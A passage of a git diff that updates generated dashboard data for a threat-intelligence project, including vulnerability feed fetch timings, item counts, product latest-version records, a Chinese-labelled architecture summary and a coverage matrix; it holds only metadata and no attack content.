"source_name": "Django Security Weblog", "source_kind": "vendor-index", - "elapsed_seconds": 35.137, + "elapsed_seconds": 2.987, "kind": "vendor-index", "items_seen": 332 }, @@ -147,7 +147,7 @@ "system_id": "django", "source_name": "OSV Django", "source_kind": "osv-batch", - "elapsed_seconds": 36.192, + "elapsed_seconds": 4.695, "kind": "osv-batch", "items_seen": 1 }, @@ -155,7 +155,7 @@ "system_id": "drupal", "source_name": "Drupal Security Advisories RSS", "source_kind": "rss-feed", - "elapsed_seconds": 0.605, + "elapsed_seconds": 0.744, "kind": "rss-feed", "items_seen": 20 }, @@ -163,7 +163,7 @@ "system_id": "drupal", "source_name": "OSV Drupal", "source_kind": "osv-batch", - "elapsed_seconds": 1.981, + "elapsed_seconds": 2.022, "kind": "osv-batch", "items_seen": 1 }, @@ -171,7 +171,7 @@ "system_id": "echo", "source_name": "OSV Echo", "source_kind": "osv-batch", - "elapsed_seconds": 35.025, + "elapsed_seconds": 3.792, "kind": "osv-batch", "items_seen": 1 }, @@ -179,7 +179,7 @@ "system_id": "esbuild", "source_name": "OSV esbuild", "source_kind": "osv-batch", - "elapsed_seconds": 3.263, + "elapsed_seconds": 3.176, "kind": "osv-batch", "items_seen": 1 }, @@ -187,7 +187,7 @@ "system_id": "express", "source_name": "OSV Express", "source_kind": "osv-batch", - "elapsed_seconds": 2.915, + "elapsed_seconds": 2.68, "kind": "osv-batch", "items_seen": 1 }, @@ -195,7 +195,7 @@ "system_id": "fastify", "source_name": "OSV Fastify", "source_kind": "osv-batch", - "elapsed_seconds": 3.079, + "elapsed_seconds": 3.062, "kind": "osv-batch", "items_seen": 1 }, @@ -203,7 +203,7 @@ "system_id": "flask", "source_name": "OSV Flask", "source_kind": "osv-batch", - "elapsed_seconds": 35.078, + "elapsed_seconds": 3.732, "kind": "osv-batch", "items_seen": 1 }, @@ -211,7 +211,7 @@ "system_id": "ghost", "source_name": "Ghost GitHub Advisories", "source_kind": "html-links", - "elapsed_seconds": 1.099, + "elapsed_seconds": 1.102, "kind": "html-links", "items_seen": 119 }, @@ -219,7 +219,7 @@ "system_id": "ghost", "source_name": "OSV Ghost", "source_kind": "osv-batch", - "elapsed_seconds": 0.79, + "elapsed_seconds": 1.03, "kind": "osv-batch", "items_seen": 1 }, @@ -227,7 +227,7 @@ "system_id": "gin", "source_name": "OSV Gin", "source_kind": "osv-batch", - "elapsed_seconds": 35.023, + "elapsed_seconds": 4.84, "kind": "osv-batch", "items_seen": 1 }, @@ -235,7 +235,7 @@ "system_id": "gitea", "source_name": "OSV Gitea", "source_kind": "osv-batch", - "elapsed_seconds": 35.524, + "elapsed_seconds": 5.232, "kind": "osv-batch", "items_seen": 1 }, @@ -243,7 +243,7 @@ "system_id": "gitlab-ce", "source_name": "GitLab Advisory Database", "source_kind": "html-links", - "elapsed_seconds": 35.891, + "elapsed_seconds": 3.5, "kind": "html-links", "items_seen": 5 }, @@ -251,7 +251,7 @@ "system_id": "gitlab-ce", "source_name": "GitLab Security Releases Atom", "source_kind": "atom-feed", - "elapsed_seconds": 35.675, + "elapsed_seconds": 3.5, "kind": "atom-feed", "items_seen": 187 }, @@ -259,15 +259,15 @@ "system_id": "grafana", "source_name": "CISA KEV Grafana", "source_kind": "kev-json", - "elapsed_seconds": 35.076, + "elapsed_seconds": 3.502, "kind": "kev-json", - "items_seen": 1552 + "items_seen": 1553 }, { "system_id": "grafana", "source_name": "Grafana Security Advisories", "source_kind": "html-links", - "elapsed_seconds": 35.677, + "elapsed_seconds": 3.5, "kind": "html-links", "items_seen": 159 }, @@ -275,7 +275,7 @@ "system_id": "hapi", "source_name": "OSV Hapi", "source_kind": "osv-batch", - "elapsed_seconds": 3.044, + "elapsed_seconds": 4.115, "kind": "osv-batch", "items_seen": 1 }, @@ -283,7 +283,7 @@ "system_id": "haproxy", "source_name": "HAProxy Blog Feed", "source_kind": "rss-feed", - "elapsed_seconds": 36.064, + "elapsed_seconds": 3.463, "kind": "rss-feed", "items_seen": 10 }, @@ -291,7 +291,7 @@ "system_id": "jenkins", "source_name": "Jenkins Security Advisories RSS", "source_kind": "rss-feed", - "elapsed_seconds": 35.416, + "elapsed_seconds": 3.5, "kind": "rss-feed", "items_seen": 96 }, @@ -299,7 +299,7 @@ "system_id": "joomla", "source_name": "Joomla Security Centre", "source_kind": "html-links", - "elapsed_seconds": 1.637, + "elapsed_seconds": 1.786, "kind": "html-links", "items_seen": 139 }, @@ -307,7 +307,7 @@ "system_id": "joomla", "source_name": "OSV Joomla", "source_kind": "osv-batch", - "elapsed_seconds": 0.647, + "elapsed_seconds": 0.983, "kind": "osv-batch", "items_seen": 1 }, @@ -315,7 +315,7 @@ "system_id": "kibana", "source_name": "Elastic Product Security", "source_kind": "html-links", - "elapsed_seconds": 36.254, + "elapsed_seconds": 3.502, "kind": "html-links", "items_seen": 66 }, @@ -323,7 +323,7 @@ "system_id": "kibana", "source_name": "NVD Kibana", "source_kind": "nvd-search", - "elapsed_seconds": 36.067, + "elapsed_seconds": 5.239, "kind": "nvd-search", "items_seen": 1 }, @@ -331,7 +331,7 @@ "system_id": "koa", "source_name": "OSV Koa", "source_kind": "osv-batch", - "elapsed_seconds": 2.967, + "elapsed_seconds": 2.932, "kind": "osv-batch", "items_seen": 1 }, @@ -339,7 +339,7 @@ "system_id": "laravel", "source_name": "OSV Laravel", "source_kind": "osv-batch", - "elapsed_seconds": 35.139, + "elapsed_seconds": 4.021, "kind": "osv-batch", "items_seen": 1 }, @@ -347,7 +347,7 @@ "system_id": "magento-open-source", "source_name": "Magento GitHub Advisories", "source_kind": "html-links", - "elapsed_seconds": 1.624, + "elapsed_seconds": 1.79, "kind": "html-links", "items_seen": 99 }, @@ -355,7 +355,7 @@ "system_id": "magento-open-source", "source_name": "OSV Magento Open Source", "source_kind": "osv-batch", - "elapsed_seconds": 1.524, + "elapsed_seconds": 2.987, "kind": "osv-batch", "items_seen": 1 }, @@ -363,7 +363,7 @@ "system_id": "magento-open-source", "source_name": "Sansec Research", "source_kind": "html-links", - "elapsed_seconds": 2.02, + "elapsed_seconds": 2.628, "kind": "html-links", "items_seen": 135 }, @@ -371,7 +371,7 @@ "system_id": "mattermost", "source_name": "Mattermost Security Updates JSON", "source_kind": "json-feed", - "elapsed_seconds": 35.602, + "elapsed_seconds": 3.732, "kind": "json-feed", "items_seen": 594 }, @@ -379,7 +379,7 @@ "system_id": "mattermost", "source_name": "OSV Mattermost", "source_kind": "osv-batch", - "elapsed_seconds": 36.592, + "elapsed_seconds": 5.204, "kind": "osv-batch", "items_seen": 1 }, @@ -387,7 +387,7 @@ "system_id": "mediawiki", "source_name": "MediaWiki Announce RSS", "source_kind": "rss-feed", - "elapsed_seconds": 2.337, + "elapsed_seconds": 2.997, "kind": "rss-feed", "items_seen": 30 }, @@ -395,7 +395,7 @@ "system_id": "mediawiki", "source_name": "OSV MediaWiki", "source_kind": "osv-batch", - "elapsed_seconds": 0.812, + "elapsed_seconds": 5.941, "kind": "osv-batch", "items_seen": 1 }, @@ -403,7 +403,7 @@ "system_id": "medusa", "source_name": "OSV Medusa", "source_kind": "osv-batch", - "elapsed_seconds": 2.581, + "elapsed_seconds": 2.198, "kind": "osv-batch", "items_seen": 1 }, @@ -411,7 +411,7 @@ "system_id": "moodle", "source_name": "OSV Moodle", "source_kind": "osv-batch", - "elapsed_seconds": 37.993, + "elapsed_seconds": 8.986, "kind": "osv-batch", "items_seen": 1 }, @@ -419,7 +419,7 @@ "system_id": "nestjs", "source_name": "OSV NestJS", "source_kind": "osv-batch", - "elapsed_seconds": 3.06, + "elapsed_seconds": 2.925, "kind": "osv-batch", "items_seen": 1 }, @@ -427,7 +427,7 @@ "system_id": "nextjs", "source_name": "OSV Next.js", "source_kind": "osv-batch", - "elapsed_seconds": 2.437, + "elapsed_seconds": 3.366, "kind": "osv-batch", "items_seen": 1 }, @@ -435,15 +435,15 @@ "system_id": "nginx", "source_name": "CISA KEV NGINX", "source_kind": "kev-json", - "elapsed_seconds": 3.374, + "elapsed_seconds": 3.463, "kind": "kev-json", - "items_seen": 1552 + "items_seen": 1553 }, { "system_id": "nginx", "source_name": "NGINX Security Advisories", "source_kind": "html-links", - "elapsed_seconds": 35.358, + "elapsed_seconds": 3.234, "kind": "html-links", "items_seen": 150 }, @@ -451,15 +451,15 @@ "system_id": "nodejs", "source_name": "CISA KEV Node.js", "source_kind": "kev-json", - "elapsed_seconds": 2.964, + "elapsed_seconds": 3.463, "kind": "kev-json", - "items_seen": 1552 + "items_seen": 1553 }, { "system_id": "nodejs", "source_name": "Node.js Security Releases", "source_kind": "html-links", - "elapsed_seconds": 3.026, + "elapsed_seconds": 2.548, "kind": "html-links", "items_seen": 74 }, @@ -467,7 +467,7 @@ "system_id": "nuxt", "source_name": "OSV Nuxt", "source_kind": "osv-batch", - "elapsed_seconds": 2.774, + "elapsed_seconds": 3.491, "kind": "osv-batch", "items_seen": 1 }, @@ -475,7 +475,7 @@ "system_id": "opencart", "source_name": "OSV OpenCart", "source_kind": "osv-batch", - "elapsed_seconds": 2.392, + "elapsed_seconds": 2.99, "kind": "osv-batch", "items_seen": 1 }, @@ -483,7 +483,7 @@ "system_id": "opencart", "source_name": "OpenCart Releases", "source_kind": "html-links", - "elapsed_seconds": 36.392, + "elapsed_seconds": 1.16, "kind": "html-links", "items_seen": 1500 }, @@ -491,7 +491,7 @@ "system_id": "openmage", "source_name": "OSV OpenMage", "source_kind": "osv-batch", - "elapsed_seconds": 1.535, + "elapsed_seconds": 1.653, "kind": "osv-batch", "items_seen": 1 }, @@ -499,7 +499,7 @@ "system_id": "openmage", "source_name": "OpenMage GitHub Advisories", "source_kind": "html-links", - "elapsed_seconds": 2.323, + "elapsed_seconds": 2.083, "kind": "html-links", "items_seen": 125 }, @@ -507,7 +507,7 @@ "system_id": "phpmyadmin", "source_name": "OSV phpMyAdmin", "source_kind": "osv-batch", - "elapsed_seconds": 35.308, + "elapsed_seconds": 5.239, "kind": "osv-batch", "items_seen": 1 }, @@ -515,7 +515,7 @@ "system_id": "phpmyadmin", "source_name": "phpMyAdmin Security Page", "source_kind": "html-links", - "elapsed_seconds": 35.049, + "elapsed_seconds": 3.463, "kind": "html-links", "items_seen": 263 }, @@ -523,7 +523,7 @@ "system_id": "prestashop", "source_name": "Friends Of Presta Security", "source_kind": "html-links", - "elapsed_seconds": 2.331, + "elapsed_seconds": 1.097, "kind": "html-links", "items_seen": 38 }, @@ -531,7 +531,7 @@ "system_id": "prestashop", "source_name": "GitHub PrestaShop Advisories", "source_kind": "html-links", - "elapsed_seconds": 2.245, + "elapsed_seconds": 1.095, "kind": "html-links", "items_seen": 127 }, @@ -539,7 +539,7 @@ "system_id": "prestashop", "source_name": "OSV PrestaShop", "source_kind": "osv-batch", - "elapsed_seconds": 1.978, + "elapsed_seconds": 1.816, "kind": "osv-batch", "items_seen": 1 }, @@ -547,7 +547,7 @@ "system_id": "prestashop", "source_name": "PrestaShop Security Page", "source_kind": "html-links", - "elapsed_seconds": 1.843, + "elapsed_seconds": 1.095, "kind": "html-links", "items_seen": 60 }, @@ -555,7 +555,7 @@ "system_id": "rails", "source_name": "OSV Rails", "source_kind": "osv-batch", - "elapsed_seconds": 3.748, + "elapsed_seconds": 4.015, "kind": "osv-batch", "items_seen": 1 }, @@ -563,7 +563,7 @@ "system_id": "react", "source_name": "OSV React", "source_kind": "osv-batch", - "elapsed_seconds": 2.581, + "elapsed_seconds": 2.203, "kind": "osv-batch", "items_seen": 1 }, @@ -571,7 +571,7 @@ "system_id": "redmine", "source_name": "OSV Redmine", "source_kind": "osv-batch", - "elapsed_seconds": 35.697, + "elapsed_seconds": 5.509, "kind": "osv-batch", "items_seen": 1 }, @@ -579,7 +579,7 @@ "system_id": "redmine", "source_name": "Redmine Security Advisories", "source_kind": "html-links", - "elapsed_seconds": 36.813, + "elapsed_seconds": 3.792, "kind": "html-links", "items_seen": 371 }, @@ -587,7 +587,7 @@ "system_id": "saleor", "source_name": "GitHub Saleor Advisories", "source_kind": "html-links", - "elapsed_seconds": 2.78, + "elapsed_seconds": 1.344, "kind": "html-links", "items_seen": 120 }, @@ -595,7 +595,7 @@ "system_id": "saleor", "source_name": "OSV Saleor", "source_kind": "osv-batch", - "elapsed_seconds": 2.388, + "elapsed_seconds": 3.067, "kind": "osv-batch", "items_seen": 1 }, @@ -603,7 +603,7 @@ "system_id": "shopware", "source_name": "OSV Shopware", "source_kind": "osv-batch", - "elapsed_seconds": 2.492, + "elapsed_seconds": 2.548, "kind": "osv-batch", "items_seen": 1 }, @@ -611,7 +611,7 @@ "system_id": "shopware", "source_name": "Shopware Security Advisories", "source_kind": "html-links", - "elapsed_seconds": 2.388, + "elapsed_seconds": 1.097, "kind": "html-links", "items_seen": 129 }, @@ -619,7 +619,7 @@ "system_id": "spring-boot", "source_name": "OSV Spring Boot", "source_kind": "osv-batch", - "elapsed_seconds": 3.466, + "elapsed_seconds": 4.021, "kind": "osv-batch", "items_seen": 1 }, @@ -627,7 +627,7 @@ "system_id": "spring-boot", "source_name": "Spring Security Advisories", "source_kind": "html-links", - "elapsed_seconds": 3.614, + "elapsed_seconds": 2.68, "kind": "html-links", "items_seen": 118 }, @@ -635,7 +635,7 @@ "system_id": "spring-framework", "source_name": "OSV Spring Framework", "source_kind": "osv-batch", - "elapsed_seconds": 3.387, + "elapsed_seconds": 3.234, "kind": "osv-batch", "items_seen": 1 }, @@ -643,7 +643,7 @@ "system_id": "spring-framework", "source_name": "Spring Security Advisories", "source_kind": "html-links", - "elapsed_seconds": 3.614, + "elapsed_seconds": 2.628, "kind": "html-links", "items_seen": 118 }, @@ -651,7 +651,7 @@ "system_id": "spring-security", "source_name": "OSV Spring Security", "source_kind": "osv-batch", - "elapsed_seconds": 3.374, + "elapsed_seconds": 3.341, "kind": "osv-batch", "items_seen": 1 }, @@ -659,7 +659,7 @@ "system_id": "spring-security", "source_name": "Spring Security Advisories", "source_kind": "html-links", - "elapsed_seconds": 3.614, + "elapsed_seconds": 2.65, "kind": "html-links", "items_seen": 118 }, @@ -667,7 +667,7 @@ "system_id": "strapi", "source_name": "OSV Strapi", "source_kind": "osv-batch", - "elapsed_seconds": 0.781, + "elapsed_seconds": 1.074, "kind": "osv-batch", "items_seen": 1 }, @@ -675,7 +675,7 @@ "system_id": "strapi", "source_name": "Strapi GitHub Advisories", "source_kind": "html-links", - "elapsed_seconds": 1.038, + "elapsed_seconds": 1.165, "kind": "html-links", "items_seen": 124 }, @@ -683,7 +683,7 @@ "system_id": "sveltekit", "source_name": "OSV SvelteKit", "source_kind": "osv-batch", - "elapsed_seconds": 2.69, + "elapsed_seconds": 2.566, "kind": "osv-batch", "items_seen": 1 }, @@ -691,7 +691,7 @@ "system_id": "symfony", "source_name": "OSV Symfony", "source_kind": "osv-batch", - "elapsed_seconds": 35.448, + "elapsed_seconds": 4.636, "kind": "osv-batch", "items_seen": 1 }, @@ -699,7 +699,7 @@ "system_id": "traefik", "source_name": "OSV Traefik", "source_kind": "osv-batch", - "elapsed_seconds": 35.077, + "elapsed_seconds": 4.253, "kind": "osv-batch", "items_seen": 1 }, @@ -707,7 +707,7 @@ "system_id": "undici", "source_name": "OSV Undici", "source_kind": "osv-batch", - "elapsed_seconds": 3.099, + "elapsed_seconds": 3.254, "kind": "osv-batch", "items_seen": 1 }, @@ -715,7 +715,7 @@ "system_id": "vite", "source_name": "OSV Vite", "source_kind": "osv-batch", - "elapsed_seconds": 2.688, + "elapsed_seconds": 2.577, "kind": "osv-batch", "items_seen": 1 }, @@ -723,7 +723,7 @@ "system_id": "vue", "source_name": "OSV Vue", "source_kind": "osv-batch", - "elapsed_seconds": 2.85, + "elapsed_seconds": 2.381, "kind": "osv-batch", "items_seen": 1 }, @@ -731,7 +731,7 @@ "system_id": "webpack", "source_name": "OSV webpack", "source_kind": "osv-batch", - "elapsed_seconds": 3.154, + "elapsed_seconds": 3.176, "kind": "osv-batch", "items_seen": 1 }, @@ -739,7 +739,7 @@ "system_id": "werkzeug", "source_name": "OSV Werkzeug", "source_kind": "osv-batch", - "elapsed_seconds": 35.076, + "elapsed_seconds": 4.113, "kind": "osv-batch", "items_seen": 1 }, @@ -747,7 +747,7 @@ "system_id": "woocommerce", "source_name": "GitHub WooCommerce Advisories", "source_kind": "html-links", - "elapsed_seconds": 1.976, + "elapsed_seconds": 1.069, "kind": "html-links", "items_seen": 107 }, @@ -755,7 +755,7 @@ "system_id": "woocommerce", "source_name": "OSV WooCommerce", "source_kind": "osv-batch", - "elapsed_seconds": 1.642, + "elapsed_seconds": 1.716, "kind": "osv-batch", "items_seen": 1 }, @@ -763,7 +763,7 @@ "system_id": "woocommerce", "source_name": "Patchstack Database", "source_kind": "html-links", - "elapsed_seconds": 1.183, + "elapsed_seconds": 1.095, "kind": "html-links", "items_seen": 193 }, @@ -771,7 +771,7 @@ "system_id": "woocommerce", "source_name": "Woo Developer Advisories", "source_kind": "html-links", - "elapsed_seconds": 1.636, + "elapsed_seconds": 1.069, "kind": "html-links", "items_seen": 121 }, @@ -779,7 +779,7 @@ "system_id": "woocommerce", "source_name": "Wordfence Vulnerability Database", "source_kind": "html-links", - "elapsed_seconds": 1.106, + "elapsed_seconds": 1.095, "kind": "html-links", "items_seen": 0 }, @@ -787,7 +787,7 @@ "system_id": "wordpress", "source_name": "Patchstack Database", "source_kind": "html-links", - "elapsed_seconds": 1.185, + "elapsed_seconds": 0.009, "kind": "html-links", "items_seen": 193 }, @@ -795,7 +795,7 @@ "system_id": "wordpress", "source_name": "PortSwigger Research", "source_kind": "html-links", - "elapsed_seconds": 1.336, + "elapsed_seconds": 1.594, "kind": "html-links", "items_seen": 99 }, @@ -803,7 +803,7 @@ "system_id": "wordpress", "source_name": "WPScan Vulnerability Database", "source_kind": "html-links", - "elapsed_seconds": 1.108, + "elapsed_seconds": 1.582, "kind": "html-links", "items_seen": 74 }, @@ -811,7 +811,7 @@ "system_id": "wordpress", "source_name": "WordPress Security News RSS", "source_kind": "rss-feed", - "elapsed_seconds": 1.483, + "elapsed_seconds": 1.912, "kind": "rss-feed", "items_seen": 10 }, @@ -819,7 +819,7 @@ "system_id": "wordpress", "source_name": "Wordfence Vulnerability Database", "source_kind": "html-links", - "elapsed_seconds": 0.34, + "elapsed_seconds": 0.009, "kind": "html-links", "items_seen": 0 } @@ -830,70 +830,70 @@ "system_id": "moodle", "source_name": "OSV Moodle", "source_kind": "osv-batch", - "elapsed_seconds": 37.993, + "elapsed_seconds": 8.986, "status": "ok" }, { - "system_id": "redmine", - "source_name": "Redmine Security Advisories", - "source_kind": "html-links", - "elapsed_seconds": 36.813, + "system_id": "adobe-commerce", + "source_name": "Adobe Magento Security Index", + "source_kind": "vendor-index", + "elapsed_seconds": 6.387, "status": "ok" }, { - "system_id": "mattermost", - "source_name": "OSV Mattermost", + "system_id": "mediawiki", + "source_name": "OSV MediaWiki", "source_kind": "osv-batch", - "elapsed_seconds": 36.592, - "status": "ok" - }, - { - "system_id": "opencart", - "source_name": "OpenCart Releases", - "source_kind": "html-links", - "elapsed_seconds": 36.392, - "status": "ok" - }, - { - "system_id": "kibana", - "source_name": "Elastic Product Security", - "source_kind": "html-links", - "elapsed_seconds": 36.254, - "status": "ok" - }, - { - "system_id": "django", - "source_name": "OSV Django", - "source_kind": "osv-batch", - "elapsed_seconds": 36.192, - "status": "ok" - }, - { - "system_id": "kibana", - "source_name": "NVD Kibana", - "source_kind": "nvd-search", - "elapsed_seconds": 36.067, - "status": "ok" - }, - { - "system_id": "haproxy", - "source_name": "HAProxy Blog Feed", - "source_kind": "rss-feed", - "elapsed_seconds": 36.064, - "status": "ok" - }, - { - "system_id": "gitlab-ce", - "source_name": "GitLab Advisory Database", - "source_kind": "html-links", - "elapsed_seconds": 35.891, + "elapsed_seconds": 5.941, "status": "ok" }, { "system_id": "redmine", "source_name": "OSV Redmine", "source_kind": "osv-batch", - "elapsed_seconds": 35.697, + "elapsed_seconds": 5.509, + "status": "ok" + }, + { + "system_id": "kibana", + "source_name": "NVD Kibana", + "source_kind": "nvd-search", + "elapsed_seconds": 5.239, + "status": "ok" + }, + { + "system_id": "phpmyadmin", + "source_name": "OSV phpMyAdmin", + "source_kind": "osv-batch", + "elapsed_seconds": 5.239, + "status": "ok" + }, + { + "system_id": "gitea", + "source_name": "OSV Gitea", + "source_kind": "osv-batch", + "elapsed_seconds": 5.232, + "status": "ok" + }, + { + "system_id": "mattermost", + "source_name": "OSV Mattermost", + "source_kind": "osv-batch", + "elapsed_seconds": 5.204, + "status": "ok" + }, + { + "system_id": "gin", + "source_name": "OSV Gin", + "source_kind": "osv-batch", + "elapsed_seconds": 4.84, + "status": "ok" + }, + { + "system_id": "django", + "source_name": "OSV Django", + "source_kind": "osv-batch", + "elapsed_seconds": 4.695, "status": "ok" } ], diff --git a/08-threat-intel/generated/dashboard/data/version-backlog.json b/08-threat-intel/generated/dashboard/data/version-backlog.json index 6f348074..aa53d91c 100644 --- a/08-threat-intel/generated/dashboard/data/version-backlog.json +++ b/08-threat-intel/generated/dashboard/data/version-backlog.json @@ -1,5 +1,5 @@ { - "generated_at": "2026-03-26T10:20:34+00:00", + "generated_at": "2026-03-27T09:31:00+00:00", "source_gap_entities": [ { "entity_id": "adminer", diff --git a/08-threat-intel/generated/dashboard/data/version-completeness.json b/08-threat-intel/generated/dashboard/data/version-completeness.json index 734a524e..2214ef2d 100644 --- a/08-threat-intel/generated/dashboard/data/version-completeness.json +++ b/08-threat-intel/generated/dashboard/data/version-completeness.json @@ -1,9 +1,9 @@ { - "generated_at": "2026-03-26T10:20:34+00:00", + "generated_at": "2026-03-27T09:31:00+00:00", "cataloged_entity_total": 110, "latest_version_synced_count": 95, "source_gap_count": 15, - "security_version_total": 6297, + "security_version_total": 6307, "security_version_entity_count": 83, "auto_promoted_entity_count": 10, "lab_enqueued_count": 3, @@ -109,14 +109,14 @@ "cataloged_entity_total": 3, "latest_version_synced_count": 3, "source_gap_count": 0, - "security_version_count": 30, + "security_version_count": 32, "auto_promoted_count": 0, "latest_versions": [ { "entity_id": "astro", "display_name": "Astro", "entity_type": "system", - "latest_version": "6.0.8", + "latest_version": "6.1.1", "latest_release_at": "2025-11-20T14:43:59.624508Z", "version_sync_status": "green" }, @@ -124,7 +124,7 @@ "entity_id": "astro--project--astro", "display_name": "astro", "entity_type": "project", - "latest_version": "6.0.8", + "latest_version": "6.1.1", "latest_release_at": "2025-11-27T08:22:36.525875Z", "version_sync_status": "green" }, @@ -132,7 +132,7 @@ "entity_id": "astro--module--astro", "display_name": "astro", "entity_type": "module", - "latest_version": "6.0.8", + "latest_version": "6.1.1", "latest_release_at": "2025-11-20T14:43:59.624508Z", "version_sync_status": "green" } @@ -396,16 +396,16 @@ "entity_id": "ghost", "display_name": "Ghost", "entity_type": "system", - "latest_version": "6.22.1", - "latest_release_at": "2026-03-20T15:25:05Z", + "latest_version": "6.23.0", + "latest_release_at": "2026-03-26T15:04:27Z", "version_sync_status": "green" }, { "entity_id": "ghost--repo--tryghost-ghost", "display_name": "TryGhost / Ghost", "entity_type": "repo", - "latest_version": "6.22.1", - "latest_release_at": "2026-03-20T15:25:05Z", + "latest_version": "6.23.0", + "latest_release_at": "2026-03-26T15:04:27Z", "version_sync_status": "green" } ] @@ -648,7 +648,7 @@ "cataloged_entity_total": 5, "latest_version_synced_count": 5, "source_gap_count": 0, - "security_version_count": 3840, + "security_version_count": 3848, "auto_promoted_count": 0, "latest_versions": [ { @@ -659,14 +659,6 @@ "latest_release_at": "2023-10-03", "version_sync_status": "green" }, - { - "entity_id": "mattermost--project--mattermost-server", - "display_name": "Mattermost Server", - "entity_type": "project", - "latest_version": "26.2.1", - "latest_release_at": "2023-10-03", - "version_sync_status": "green" - }, { "entity_id": "mattermost--repo--github-com-mattermost-mattermost-server", "display_name": "mattermost / mattermost-server", @@ -675,6 +667,14 @@ "latest_release_at": "2026-03-16T08:26:52Z", "version_sync_status": "green" }, + { + "entity_id": "mattermost--project--mattermost-server", + "display_name": "Mattermost Server", + "entity_type": "project", + "latest_version": "26.2.1", + "latest_release_at": "2023-10-03", + "version_sync_status": "green" + }, { "entity_id": "mattermost--plugin--mattermost-plugins", "display_name": "Mattermost Plugins", @@ -1217,24 +1217,24 @@ "entity_id": "traefik", "display_name": "Traefik", "entity_type": "system", - "latest_version": "2.11.42", - "latest_release_at": "2026-03-26T09:02:56Z", + "latest_version": "3.7.0-ea.3", + "latest_release_at": "2026-03-26T11:10:20Z", "version_sync_status": "green" }, { "entity_id": "traefik--repo--github-com-traefik-traefik-v3", "display_name": "traefik / traefik / v3", "entity_type": "repo", - "latest_version": "2.11.42", - "latest_release_at": "2026-03-26T09:02:56Z", + "latest_version": "3.7.0-ea.3", + "latest_release_at": "2026-03-26T11:10:20Z", "version_sync_status": "green" }, { "entity_id": "traefik--extension--github-com-traefik-traefik-v3", "display_name": "traefik / traefik / v3", "entity_type": "extension", - "latest_version": "2.11.42", - "latest_release_at": "2026-03-26T09:02:56Z", + "latest_version": "3.7.0-ea.3", + "latest_release_at": "2026-03-26T11:10:20Z", "version_sync_status": "green" } ] diff --git a/08-threat-intel/generated/dashboard/docs/architecture-library.html b/08-threat-intel/generated/dashboard/docs/architecture-library.html index f18b36f5..c5dbe920 100644 --- a/08-threat-intel/generated/dashboard/docs/architecture-library.html +++ b/08-threat-intel/generated/dashboard/docs/architecture-library.html @@ -87,7 +87,7 @@
{
- "generated_at": "2026-03-26T10:20:35+00:00",
+ "generated_at": "2026-03-27T09:31:01+00:00",
"title": "当前架构库",
"summary": "工作台、控制面、数据层、授权边界与系统覆盖的当前真值视图。",
"sections": [
@@ -127,7 +127,7 @@
},
{
"label": "当前漏洞条目",
- "value": "2419"
+ "value": "2422"
}
],
"fields": [
@@ -145,7 +145,7 @@
},
{
"label": "生成时间",
- "value": "2026-03-26T10:20:35+00:00"
+ "value": "2026-03-27T09:31:01+00:00"
}
],
"links": [
@@ -6061,7 +6061,7 @@
},
{
"label": "Advisory 数",
- "value": "2419"
+ "value": "2422"
},
{
"label": "状态类型",
@@ -6080,7 +6080,7 @@
"items": [
{
"title": "人工分诊",
- "summary": "当前累计 2330 条。",
+ "summary": "当前累计 2333 条。",
"open": false,
"fields": [
{
@@ -6089,7 +6089,7 @@
},
{
"label": "数量",
- "value": "2330"
+ "value": "2333"
}
]
},
diff --git a/08-threat-intel/generated/dashboard/docs/coverage-matrix.html b/08-threat-intel/generated/dashboard/docs/coverage-matrix.html
index c9e9e877..6992614e 100644
--- a/08-threat-intel/generated/dashboard/docs/coverage-matrix.html
+++ b/08-threat-intel/generated/dashboard/docs/coverage-matrix.html
@@ -96,7 +96,7 @@
| Apache HTTP Server | `servers` | `history-full` | `yes` | `yes` | `135` | `0` | `3` | `seeded` | `real:0/synthetic:0/blocked:0` | `0` | `0` | `0` | `2025-05-22` |
| Apache Tomcat | `servers` | `history-full` | `yes` | `yes` | `136` | `0` | `3` | `seeded` | `real:0/synthetic:0/blocked:0` | `0` | `0` | `0` | `2025-04-22` |
| ASP.NET Core | `frameworks` | `rolling-24m` | `-` | `yes` | `3` | `0` | `3` | `seeded` | `real:0/synthetic:0/blocked:0` | `0` | `0` | `0` | `2026-03-11T13:53:20.707` |
-| Astro | `frameworks` | `rolling-24m` | `-` | `yes` | `14` | `14` | `2` | `seeded` | `real:0/synthetic:0/blocked:0` | `0` | `0` | `0` | `2026-02-04T03:01:27.986221Z` |
+| Astro | `frameworks` | `rolling-24m` | `-` | `yes` | `15` | `15` | `2` | `seeded` | `real:0/synthetic:0/blocked:0` | `0` | `0` | `0` | `2026-03-26T19:01:26.420643Z` |
| Caddy | `servers` | `rolling-24m` | `-` | `yes` | `29` | `0` | `2` | `seeded` | `real:0/synthetic:0/blocked:0` | `0` | `0` | `0` | `2026-03-23T04:52:47.870034Z` |
| Directus | `cms` | `rolling-24m` | `-` | `yes` | `29` | `0` | `3` | `seeded` | `real:0/synthetic:0/blocked:0` | `0` | `0` | `0` | `` |
| Discourse | `cms` | `rolling-24m` | `-` | `yes` | `30` | `0` | `3` | `seeded` | `real:0/synthetic:0/blocked:0` | `0` | `0` | `30` | `Wed, 28 May 2025 05:22:52 +0000` |
@@ -120,7 +120,7 @@
| Koa | `frameworks` | `rolling-24m` | `-` | `yes` | `1` | `1` | `2` | `seeded` | `real:0/synthetic:0/blocked:0` | `0` | `0` | `0` | `2026-02-26T23:36:36.294040Z` |
| Laravel | `frameworks` | `rolling-24m` | `-` | `yes` | `2` | `2` | `3` | `seeded` | `real:0/synthetic:0/blocked:0` | `0` | `0` | `0` | `2026-03-13T22:15:34.333730Z` |
| Magento Open Source | `ecommerce` | `history-full` | `yes` | `yes` | `89` | `0` | `3` | `seeded` | `real:0/synthetic:0/blocked:0` | `0` | `0` | `0` | `2025-04-20T01:37:25.860` |
-| Mattermost | `platforms` | `rolling-24m` | `-` | `yes` | `31` | `31` | `3` | `seeded` | `real:0/synthetic:0/blocked:0` | `0` | `0` | `0` | `Fix Release Date` |
+| Mattermost | `platforms` | `rolling-24m` | `-` | `yes` | `33` | `33` | `3` | `seeded` | `real:0/synthetic:0/blocked:0` | `0` | `0` | `0` | `Fix Release Date` |
| MediaWiki | `cms` | `rolling-24m` | `-` | `yes` | `70` | `0` | `3` | `seeded` | `real:0/synthetic:0/blocked:0` | `0` | `0` | `70` | `Wed, 22 Oct 2025 21:44:43 +0000` |
| Medusa | `ecommerce` | `rolling-24m` | `-` | `yes` | `15` | `0` | `2` | `seeded` | `real:0/synthetic:0/blocked:0` | `0` | `0` | `15` | `` |
